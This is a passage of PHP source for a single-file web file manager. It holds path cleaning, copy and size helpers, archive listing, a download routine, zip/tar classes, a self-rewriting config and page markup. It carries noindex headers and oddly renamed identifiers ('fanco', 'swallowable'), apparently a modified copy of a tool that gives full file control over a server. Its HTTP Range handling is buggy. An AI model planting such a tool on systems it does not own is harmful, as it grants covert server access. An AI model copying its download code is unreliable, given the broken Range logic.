                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'swallowable<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 